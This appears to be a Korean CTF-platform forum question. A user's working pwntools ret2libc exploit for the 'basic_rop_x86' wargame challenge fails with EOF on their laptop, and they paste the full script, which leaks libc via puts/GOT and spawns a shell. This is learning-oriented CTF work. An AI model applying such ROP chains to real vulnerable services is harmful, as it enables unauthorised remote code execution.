완료됨
제 데스크탑에서는 잘 되던 익스코드가 제 노트북에서는 안됩니다.. (로되리안 현상인거 같아요)
도무지 모르겠어서 올립니다.. 익스코드를 다 짜고 플래그까지 얻었는데요. 제 데스크탑에서는 잘 작동했던 공격코드가 노트북에서는 EOF뜨고 되질 않습니다. 아마 로되리안 현상인거 같은데 어떻게 해결해야 하는지 알려주시면 감사하겠습니다. sleep함수도 사용을 해봤어요..
from pwn import *
p = remote('host3.dreamhack.games', 16870)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_ebp = 0x0804868b
main = 0x80485d9
payload = b'A'*0x48
payload += p32(puts_plt)
payload += p32(pop_ebp) + p32(read_got)
payload += p32(main)
#ret2main
p.send(payload)
p.recvn(0x40)
read = u32(p.recv(4))
lib = read - libc.symbols['read']
system = lib + libc.symbols['system']
binsh = lib + 0x15902b
payload = b"A"*0x48
payload += p32(system)
payload += p32(pop_ebp) + p32(binsh)
p.send(payload)
p.recvuntil(b'A'*0x40) #깔끔하게 만들기 위함
p.interactive()
#pwnable
작성자 정보
답변
4
p6rkdoye0n
대표 업적 없음
p6rkdoye0n
대표 업적 없음
데탑
p6rkdoye0n
대표 업적 없음
p6rkdoye0n
대표 업적 없음
노트북